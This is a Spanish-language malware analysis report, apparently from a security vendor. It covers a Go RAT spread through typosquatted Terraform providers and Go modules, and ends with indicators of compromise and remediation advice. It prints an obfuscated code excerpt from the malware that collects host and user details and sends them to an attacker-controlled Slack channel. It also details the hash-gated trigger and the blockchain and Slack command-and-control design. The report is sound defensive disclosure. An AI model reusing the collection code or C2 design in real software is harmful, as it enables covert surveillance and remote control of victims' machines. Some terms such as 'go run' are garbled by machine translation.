Hemos detectado malware escrito en Go que se distribuye a través de al menos dos proveedores de Terraform y al menos dos módulos de Go. Es la primera vez que observamos malware distribuido a través de proveedores de Terraform. Los siguientes paquetes contienen el malware:
- Proveedores de Terraform:
gocommunity-io/dockerdkreuzwenker/docker
- Módulos Go:
gocommunity.io/orderedbtreegogets.dev/btreex
Este malware guarda similitudes con la campaña de malware Graphalgo NPM, sobre la que informó por primera vez ReversingLabs en febrero de 2026 y de la que también se han hecho eco la semana pasada Safedep, CheckMarx, y JFrog. El malware es una adaptación a Go del malware Graphalgo que comparte la infraestructura de blockchain y Slack, así como una clave pública, con muestras recientes de JavaScript distribuidas a través de NPM. El autor de la amenaza también ha creado al menos dos ecosistemas falsos de Go para ayudar a promocionar sus paquetes, lo que sugiere un interés continuo en el ecosistema de Go.
Proveedores maliciosos de Terraform
A principios de septiembre, un actor malicioso publicó los proveedores de Terraform gocommunity-io/dockerd y kreuzwenker/docker. Este último es un «typosquat» del popular kreuzwerker/docker El proveedor Terraform, que cuenta con 56 millones de descargas registradas. Ambos proveedores contienen puntos de entrada ocultos en el /internal/provider/resource_docker_container_funcs.go archivo que solo se activa cuando el hash SHA256 del nombre del contenedor y networkID Las variables de Terraform concatenadas entre sí son b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5. Esto significa que el proveedor malicioso permanece inactivo salvo en determinadas condiciones de ejecución, lo que sugiere que el malware se distribuye como parte de un ataque dirigido.
El hash SHA256 se utiliza como clave AES para descifrar la ruta de un archivo desde el interior del paquete. El malware descomprime el contenido del archivo comprimido, el algoritmo AES descifra cada uno de los archivos que contiene y ejecuta el código descifrado como un paquete Go mediante un proceso independiente Ve a correr. comando. El archivo ZIP de destino en ambos proveedores es ejemplos/recursos/contenedor_docker/importar-recurso.sqlite3 con hash SHA256 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f.
RAT de segunda etapa
El RAT de segunda fase es un agente Go con dos canales de comando y control, que utiliza «dead drops» en blockchain y un token de bot de Slack. El malware recopila inicialmente información del sistema, como las características del hardware, el sistema operativo, el nombre de host y si node está disponible en el sistema infectado. El malware envía esta información a un canal de Slack llamado «frontend-devs» en el espacio de trabajo de Slack. hxxps[:]//portfolio-devs.slack[.]com/ (Portfolio Devs). Ten en cuenta que el malware se comunica con api.slack.com y el malware no se conecta directamente con el subdominio del espacio de trabajo.
func _ddb43801486d() error {
_ac1ff2594eef := helper.Keys()
_f20c82d34751, _f2b064c41863 := exec.LookPath("node")
if _f2b064c41863 != nil {
_f20c82d34751 = ""
}
_352b068ec729 := fmt.Sprintf(
"*🖥️ System Report*\n"+
"- Platform : `%s`\n"+
"- Arch : `%s`\n"+
"- Hostname : `%s`\n"+
"- Username : `%s`\n"+
"- Home Dir : `%s`\n"+
"- Node : `%s`\n"+
"- Time : `%s`\n",
_ac1ff2594eef.OS,
_ac1ff2594eef.Architecture,
_ac1ff2594eef.Hostname,
_ac1ff2594eef.User.Username,
_ac1ff2594eef.User.HomeDir,
_f20c82d34751,
_ac1ff2594eef.Time.Current,
)
if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {
}
return nil
}Tras la llamada de registro, el malware genera un par de claves pública y privada efímeras. El malware genera claves compartidas combinando su clave efímera con dos claves públicas de los autores de la amenaza. La clave compartida permite al malware comunicarse con los clientes infectados a través de canales compartidos sin exponer las comunicaciones C2 ni filtrar mensajes entre los hosts infectados. Para las comunicaciones C2 a través de Slack, el malware utiliza la clave pública codificada de forma fija 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702. El malware escribe la clave pública de cada cliente en el canal «frontend-devs», tras lo cual toda la comunicación se cifra utilizando la clave compartida. Las comunicaciones posteriores se envían a un espacio de trabajo de Slack diferente, hxxps[:]//portfolio-testers.slack[.]com/ (Portfolio-testers), en un canal llamado qa-anuncios.
En el caso del C2 basado en blockchain, el malware recupera datos de un contrato inteligente de Ethereum en la red de pruebas Arbitrum Sepolia utilizando la dirección del contrato, que está codificada de forma fija. 0xAD02b5cDE693529d3bdA0266299501ad0193036C, entonces:
- Recupera la clave privada de un monedero compartido de Ethereum.
- Descifra la clave privada utilizando una clave derivada del mismo material que se utilizó para descifrar la segunda fase.
- Recupera la clave pública del actor malicioso del contrato.
- Crea una clave compartida utilizando la clave pública y la clave privada efímera.
- Escribe su clave privada efímera en el contrato utilizando el
setCPubKeymétodo. - Lee comandos cifrados desde
serviceData1yserviceData2.
La cartera compartida solo tiene permisos de escritura para el setCPubKey almacén de clave-valor, lo que limita las posibilidades de que clientes malintencionados perturben el canal C2 con mensajes falsos.

El malware consulta las instrucciones de la cadena de bloques cada 3 segundos y las de Slack cada 10 segundos. Los mensajes C2 descifrados contienen un encabezado que indica al malware que ejecute el cuerpo del mensaje como código adicional en Go o JavaScript (a través de node) o para borrarse automáticamente.
El mecanismo C2 es un indicio más de que este malware forma parte de una operación dirigida. La capacidad del actor malicioso para emitir comandos se ve limitada porque todos los clientes consumen todos los mensajes y no realizan ninguna operación cuando no logran descifrar los mensajes destinados a otros clientes. Se trata de una implementación notablemente sofisticada de un «dead drop» basado en blockchain que integra la comunicación bidireccional con un riesgo mínimo de fuga de información o interrupción del servicio. Dada la creciente popularidad de los «dead drops» basados en blockchain en el malware, las organizaciones que no tengan una necesidad empresarial de interactuar con blockchains deberían plantearse establecer alertas sobre las comunicaciones de red con servicios de blockchain basados en HTTP.
Variantes del módulo Go
También hemos detectado que ese mismo malware de Go se distribuye a través de dos módulos de Go. El módulo gocommunity.io/orderedbtree, publicado por primera vez el 11 de agosto, contenía el malware en texto sin cifrar, en lugar de ocultarlo en un formato cifrado y comprimido. Este último paquete, gogets.dev/btreex, ocultó el malware dentro de un archivo ZIP que se hacía pasar por un archivo SQL con un hash SHA256 ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5. Este último paquete requería una entrada especialmente diseñada para activarse, en consonancia con los proveedores de Terraform: el malware solo se activaba al procesar un objeto con un valor entero específico en el campo «precio».
gogets.dev/btreex Se publicó por primera vez el 8 de septiembre. El autor de la amenaza utilizó commits falsificados en el repositorio gogets-dev/btreex para antedatar los commits a noviembre de 2025. Dado que Go Modules considera las fechas de los commits como vinculantes, el proxy de Go Modules y pkg.go.dev muestran la fecha de lanzamiento falsificada.
Cronología de la campaña
La clave pública 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 utilizado en este malware también se ha empleado en cargas útiles de NPM desde, al menos, abril de 2026, y apareció por primera vez en el paquete malicioso de NPM eventos modernos. Las direcciones habituales de los contratos inteligentes, las direcciones de Telegram y los espacios de trabajo de Slack enlazan con Entrada del blog de ReversingLabs del mes de abril sobre la campaña de Graphalgo.
En el momento de realizar nuestro análisis, el qa-anuncios El canal de Slack contenía 1.240 mensajes cifrados desde el primer mensaje disponible, con fecha del 16 de julio, y el contrato incluía 1.402 transacciones que se remontaban al 6 de agosto.

Los mensajes de registro en texto plano del canal de Slack del actor malicioso contienen 18 nombres de host únicos repartidos en 725 mensajes. Se han registrado tres víctimas con dispositivos Windows, cinco con Linux y diez con macOS. No disponemos de información suficiente para notificar a ninguna víctima basándonos en los datos de registro en texto plano, pero la escala de las operaciones del actor malicioso parece ser reducida y selectiva. Según los primeros mensajes del chat, el actor malicioso probó esta variante del malware en un dispositivo Windows con el nombre de host «Frank» y el nombre de usuario «Frank1», a partir del 16 de julio de 2026.
El giro estratégico de GitHub y los ecosistemas falsos de Go
Para llevar a cabo esta actividad se utilizaron las siguientes cuentas y organizaciones de GitHub. Cabe señalar que el autor de la amenaza elimina periódicamente su malware de GitHub, probablemente con el fin de prolongar la vida útil de las cuentas de GitHub.
Las dos organizaciones de GitHub controladas por los autores de la amenaza cuentan con sitios web asociados que se presentan como nuevos ecosistemas de paquetes de Go, gogets[.]dev y gocommunity[.]io. Ambos dominios se registraron en el plazo de un día tras la creación de las organizaciones de GitHub controladas por el actor malicioso. Ambos dominios pretenden ofrecer un sistema de nombres personalizados para paquetes de Go, pero no proporcionan ningún mecanismo para que los usuarios externos añadan paquetes y parecen no funcionar. Es probable que el actor malicioso utilice estos dominios en técnicas de ingeniería social para aumentar la percepción de legitimidad de los paquetes maliciosos.


La creación de una infraestructura de ecosistema específica para facilitar la ingeniería social dirigida a los desarrolladores de Go sugiere que el actor malicioso tiene la intención de seguir publicando malware dirigido a la cadena de suministro de Go. También cabe destacar que se ha atacado a los proveedores de Terraform: aunque las estaciones de trabajo de los desarrolladores son, sistemáticamente, objetivos de gran valor para los actores maliciosos, los usuarios de Terraform suelen estar más involucrados en el despliegue de infraestructuras. Al atacar las estaciones de trabajo de DevOps, el actor malicioso podría obtener una vía aún más directa para acceder a credenciales críticas de producción. Aunque tenemos constancia de otras investigaciones recientes sobre proveedores maliciosos de Terraform, este incidente es el primer caso de distribución sistemática de malware a través de Terraform del que tenemos constancia.
Indicadores de compromiso
Paquetes (cualquier versión):
- Proveedores de Terraform:
gocommunity-io/dockerdkreuzwenker/docker
- Módulos Go:
gocommunity.io/orderedbtreegogets.dev/btreex
Archivos:
import-resource.sqlite35f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f
btreex.sqlab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5
Dominios:
gocommunity[.]iogogets[.]dev
Otros:
- Clave pública del actor malicioso:
302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702- Espacios de trabajo de Slack:
hxxps[:]//portfolio-devs.slack[.]comhxxps[:]//portfolio-testers.slack[.]comhxxps[:]//mediumstar.slack[.]com (indicador histórico no notificado)
Cómo te protege el aikido
Los dos módulos Go maliciosos identificados en esta campaña, gocommunity.io/orderedbtree y gogets.dev/btreex, ya están marcados como malware en Aikido Intel. Si alguno de estos paquetes aparece en cualquier parte de tu árbol de dependencias, se te avisará de inmediato.
Aún no disponemos de un sistema de supervisión para el Registro de Terraform. Los dos proveedores maliciosos de Terraform de esta campaña, gocommunity-io/dockerd y kreuzwenker/docker No aparecerá en el panel de control de Aikido. En breve ampliaremos nuestra cobertura a los proveedores de Terraform.
Si alguno de los paquetes o proveedores mencionados anteriormente se hubiera instalado en un equipo de desarrollo o en un servidor de CI/CD, considera que todo ese entorno está comprometido y da por hecho que el propio equipo se ve afectado mucho más allá de ese único paquete.
- Aísla el equipo de la red. Teniendo en cuenta los canales C2 del malware (llamadas a la API de Slack y un contrato inteligente de Ethereum), es posible que el actor malicioso siga pudiendo acceder a un equipo infectado incluso después de haber eliminado el paquete.
- Renueva todas las credenciales que hayan estado en contacto con ese equipo. No te limites a los tokens del módulo Go. Renueva los tokens de GitHub/GitLab, los tokens de publicación de npm/PyPI/Go, las credenciales de los proveedores de servicios en la nube y las claves SSH. Si el paquete afectado se ejecutaba a través de un proveedor de Terraform, da prioridad específicamente a las credenciales de la nube y de la infraestructura, ya que el vector de ataque de Terraform de esta campaña se dirige a estaciones de trabajo de DevOps con acceso directo al entorno de producción.
- Comprueba si se han producido actividades no autorizadas durante el periodo de exposición. Revisa las últimas confirmaciones, publicaciones de paquetes, aplicaciones de Terraform y ejecuciones de GitHub Actions realizadas desde ese equipo o utilizando sus credenciales. Asume que el atacante podría haber actuado utilizando credenciales válidas y operativas.
- Elimina el paquete y vuelve a instalar el sistema operativo en el equipo. Dado que el malware ejecuta una segunda fase descifrada a través de un archivo independiente
Ve a correr., el mero hecho de eliminar el paquete no garantiza que todo lo que este haya instalado haya desaparecido. La única forma de asegurarse de que el servidor está limpio es volver a instalar el sistema operativo.
Si no estás seguro de si un paquete de tu entorno coincide con estos indicadores, en la sección «Indicadores de compromiso» anterior encontrarás la lista completa de hash, dominios y la clave pública del actor malicioso.

